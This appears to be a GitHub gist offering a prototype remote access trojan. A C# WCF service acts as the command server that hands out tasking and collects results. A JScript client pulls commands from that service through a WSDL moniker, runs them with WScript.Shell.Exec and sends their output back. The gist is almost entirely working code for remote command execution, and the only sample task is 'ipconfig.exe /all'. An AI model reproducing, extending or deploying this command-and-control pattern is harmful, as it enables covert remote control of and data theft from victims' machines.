Skip to content

Instantly share code, notes, and snippets.

@ryanohoro
Created March 22, 2017 00:46
Show Gist options
  • Save ryanohoro/c8caeb4d7956d6082ae2a5c2a2d48b90 to your computer and use it in GitHub Desktop.
Save ryanohoro/c8caeb4d7956d6082ae2a5c2a2d48b90 to your computer and use it in GitHub Desktop.
WCF - JavaScript JS Rat Basic Prototype
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.ServiceModel;
using System.ServiceModel.Description;
using System.Reflection;
[ServiceContract]
public interface IRat
{
[OperationContract]
string Tasking();
[OperationContract]
void Response(string output);
}
public class Rat : IRat
{
public string Tasking()
{
return "ipconfig.exe /all";
}
public void Response(string output)
{
Console.WriteLine(output);
}
}
class Program
{
static void Main(string[] args)
{
Uri baseAddress = new Uri("http://localhost:8080/hello.svc");
// Create the ServiceHost.
using (ServiceHost host = new ServiceHost(typeof(Rat), baseAddress))
{
// Enable metadata publishing.
ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true;
smb.MetadataExporter.PolicyVersion = PolicyVersion.Policy15;
host.Description.Behaviors.Add(smb);
// Open the ServiceHost to start listening for messages. Since
// no endpoints are explicitly configured, the runtime will create
// one endpoint per base address for each service contract implemented
// by the service.
host.Open();
Console.WriteLine("The service is ready at {0}", baseAddress);
Console.WriteLine("Press <Enter> to stop the service.");
Console.ReadLine();
// Close the ServiceHost.
host.Close();
}
}
}
var h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://localhost:8080/hello.svc?wsdl",false);
h.Send();
var xmlDoc = h.ResponseText;
var y = GetObject("service4:address='http://localhost:8080/hello.svc',wsdl="+xmlDoc+" , binding='BasicHttpBinding_IRat' , bindingNamespace='http://tempuri.org/', contract='IRat', contractNamespace='http://tempuri.org/'");
var c = y.Tasking();
var so;
var r = new ActiveXObject("WScript.Shell").Exec(c);
while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
y.Response(so);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment